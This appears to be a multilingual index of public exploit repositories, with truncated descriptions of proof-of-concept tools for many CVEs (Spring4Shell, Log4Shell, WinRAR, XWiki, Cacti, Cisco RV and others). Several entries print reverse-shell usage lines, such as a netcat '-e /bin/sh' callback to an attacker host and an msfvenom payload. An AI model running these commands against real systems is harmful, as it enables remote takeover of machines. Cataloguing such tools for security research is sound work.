CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc يتضمن دعم الصدفة العكسية وكلمة المرور. لا تتردد في إضافة المزيد : كيف تختبر؟ $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 تشغيل حاوية ضعيفة $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3 exploit.py --help لمزيد من...

CVE-2023-38831_ReverseShell_Winrar

CVE-2023-38831 Dans ce cas, je partage les fichiers nécessaires pour exploiter cette vulnérabilité dans winrar, avec laquelle nous pouvons créer un PDF malicieux pour nous établir un reverse shell vers notre machine d'attaque. ⚠️ NOTE : Ce contenu est partagé à des fins éthiques et est créé pour...

CVE-2020-14295

CVE-2020-14295 تفاصيل الثغرة الأمنية - https://github.com/Cacti/cacti/issues/3622 التثبيت pip3 install -r requirements.txt الاستخدام $ ./gimme-a-shell.py --help usage: gimme-a-shell.py -h -t Target -U Username -P Password -i Shell-IP -p Shell-Port optional arguments: -h, --help show this help...

Cgi-bin_bash_Reverse

Cgi-binbashReverse POC لـ CVE-2014-6271 المصدر:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

ثغرة Spring Cloud Function CVE-2022-22963 RCE هذا تنفيذ بلغة Python لثغرة Spring4Shell، CVE-2022-22963، وهي تؤثر على الخدمات التي تشغّل Spring Cloud Function =3.1.6 للإصدار 3.1.x و=3.2.2 للإصدار 3.2.x مزيج من عدة POCs متاحة على الإنترنت المؤلف: Randall Banner التاريخ: 17/04/23 الوصف: يقوم السكربت...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV Series PoC 및 Exploit ⚠ 경고: 승인된 테스트 전용 입니다. 소유하지 않았거나 서면 허가를 받지 않은 시스템에 사용하지 마십시오. 이는 승인된 테스트 전용 개념 증명PoC입니다. 이 저장소의 구성 다음을 포함하는 작은 저장소: CiscoPoc.py — CVE-2023-20048을 확인하는 무해한 PoC. CiscoRCE.py — 취약한 form2ping.cgi를 통해 리버스 셸을 시도하는 익스플로잇. 설명 이 스크립트는 Cisco RV 시리즈 라우터 가...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 Authenticated RCE PoC Ce dépôt contient une preuve de concept d'exploitation pour CVE‑2025‑24367 , une vulnérabilité d'exécution de code à distance authentifiée dans Cacti. Le problème exploite une désinfection insuffisante des entrées dans la gestion des modèles de graphe. E...

CVE-2025-49132

CVE-2025-49132-POC لقد صنعت هذا الـ PoC لتحدٍّ شخصي، مستوحىً من 0xtensho صُمم لإخراج أنظف وللقشرة العكسية فقط الاستخدام: Change the host and the listener variable first python3 CVE-2025-49132POC.py إخلاء المسؤولية إخلاء مسؤولية قانوني: إن إثبات المفهوم PoC هذا مخصص للأغراض التعليمية فقط. لا يتحمل...

distccd_rce_CVE-2004-2687

هدف هذا النص البرمجي هو عدم استخدام Metasploit والقيام بذلك يدويًا. الاستخدام: nc -lvnp 4466 تشغيل الاستغلال: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2025-56383

الثغرة نوع الهجوم: DLL Hijacking اختطاف DLL التطبيق المستهدف: Notepad++ الطريقة: ملف NppExport.dll يتم تحميله بواسطة Notepad++ من دليل العمل التنفيذ تحتوي DLL الخبيثة على: وظائف التصدير للمكتبة الأصلية لضمان التوافق Reverse shell، يتصل بالمضيف المهاجم تنفيذ في خيط منفصل لمنع حظر التحميل...

CVE-2021-44967

CVE-2021-44967: تنفيذ أوامر عن بُعد RCE بعد المصادقة في LimeSurvey إثبات مفهوم لـ CVE-2021-44967. يقوم السكربت بالمصادقة إلى LimeSurvey، ويرفع إضافة PHP ويُنشّطها، ثم يُشغّل reverse shell. استخدم هذا فقط ضد الأنظمة التي تملكها أو المصرّح لك باختبارها. المتطلبات Python 3 beautifulsoup4 و netifaces...

paint2die

أبسط وأكثر استغلال موثوق لـ RichFaces Paint2DResource CVE-2018-12533 RF-14310 التثبيت • الاستخدام • تشغيل Paint2Die تعليمات التثبيت git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt الاستخدام ./paint2die -h سيقوم هذا بعرض...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki استغلال RCE بدون مصادقة إصدارات XWiki المتأثرة الإصدارات 15.10.11 الإصدارات 16.4.1 الإصدارات 16.5.0RC1 وصف الثغرة تحتوي إصدارات XWiki المتأثرة على ثغرة تنفيذ تعليمات برمجية عن بُعد RCE ناتجة عن معالجة غير آمنة لتعبيرات Groovy في ماكرو SolrSearch. يمكن للمهاجمين غير المصاد...

CVE-2025-25257

CVE-2025-25257 Les exploits pour CVE-2025-25257 publiés par watchtowr et d'autres que j'ai trouvés sur github n'ont pas fonctionné sur mes installations de fortiweb téléchargées depuis le site officiel du fournisseur. J'ai extrait certains de ces codes d'exploit pour créer un POC capable d'ouvrir...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit إثبات مفهوم لتنفيذ التعليمات البرمجية عن بُعد RCE بدون مصادقة لـ XWiki SolrSearch CVE-2025-24893. تنفيذ أوامر + صدفة عكسية. CVE-2025-24893 – إثبات مفهوم RCE لـ XWiki SolrSearch إثبات مفهوم لثغرة حقن القالب SolrSearch في XWiki والتي تؤدي إلى تنفيذ تعليمات برمجية عن بُعد بدون...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell غلاف عكسي لـ CVE-2024-28397. يعمل الاستغلال مع js2py = v0.74 المتطلبات مكتبة requests pip install requests Python3 Netcat أو أي أداة يمكنك استخدامها كمستمع للغلاف العكسي الاستخدام للمستمع nc -lnvp 4444 للاستغلال python3 exploit.py 10.129.66.160 8000 /runcode --localip...

LFI-Destruction

🔥 LFI-Destruction – إطار اختبار اختراق مرخص LFI-Destroyer هو إطار عمل شامل ومتخصص لاستغلال تضمين الملفات المحلية LFI، مصمم لمحترفي الأمن المعتمدين. يجمع الأداة بين تقنيات هجوم متعددة في أداة واحدة سهلة الاستخدام: فحص آثار SSH والمتصفحات – البحث عن مفاتيح SSH، وملفات Putty PPK، وبيانات اعتماد WinS...

CVE-2023-26360-RCE

CVE-2023-26360 - تنفيذ الأكواد عن بُعد على ColdFusion 2021 في بعض الأحيان، لا تعمل السكربتات من المحاولة الأولى. جرّب عدة مرات حتى تنجح كيفية التنفيذ إنشاء الحمولة باستخدام msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java تشغيل server.py سيرسل هذا الخادم الحمولة إ...

CVE-2025-14700-poc

CVE-2025-14700 إثبات المفهوم استغلال تلقائي لـ RCE المُصادَق عليه في Crafty Controller --login --password --lhost --lport يستخدم هذا السكريبت netcat لإعداد مستمع بعد تشغيل حمولة الصدفة العكسية، ولن يعمل إذا لم يكن لديك netcat على جهاز المستمع...

CVE-2021-44228-PoC

بيئة مختبرية مستقلة PoC تقوم بتشغيل شل عكسية باستخدام Log4Shell CVE-2021-44228 هذه بيئة مختبرية مستقلة تقوم بتشغيل الاستغلال بأمان، كل ذلك من خلال docker compose. الإصدارات المتأثرة هي Apache Log4j =2.0–2.14.1 ويتم تتبع الثغرة بـ CVE-2021-44228 درجة CVSS: 10.0. قم بتصحيح Apache Log4j إلى الإصدار...